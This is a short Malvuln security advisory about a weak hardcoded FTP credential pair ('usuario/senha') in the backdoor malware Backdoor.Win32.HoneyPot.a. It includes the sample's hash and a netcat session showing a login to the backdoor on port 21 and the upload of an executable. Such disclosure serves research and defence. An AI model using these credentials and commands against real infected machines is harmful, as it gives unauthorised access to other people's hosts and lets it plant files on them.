Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022  
Original source:  
Threat: Backdoor.Win32.HoneyPot.a  
Vulnerability: Weak Hardcoded Password  
Description: The malware listens on various TCP ports of which one can be port 21 when enabled. Authentication is required, however the credentials "usuario/senha" are weak and found within the PE file.  
Family: HoneyPot  
Type: PE32  
MD5: e3bb503f9b02cf57341695f30e31128f  
Vuln ID: MVID-2022-0622  
Disclosure: 07/15/2022  
'senha' is password in Portuguese  
C:\>nc64.exe x.x.x.x 21  
220 Wu-ftpd 1.6.9  
USER usuario  
331 Password required for usuario.  
PASS senha  
230 User usuario logged in.  
215 UNIX Type: L8 Internet Component Suite  
227 Entering Passive Mode (192,168,18,125,218,13).  
150 Opening data connection for DOOM.exe.  
226 File received ok  
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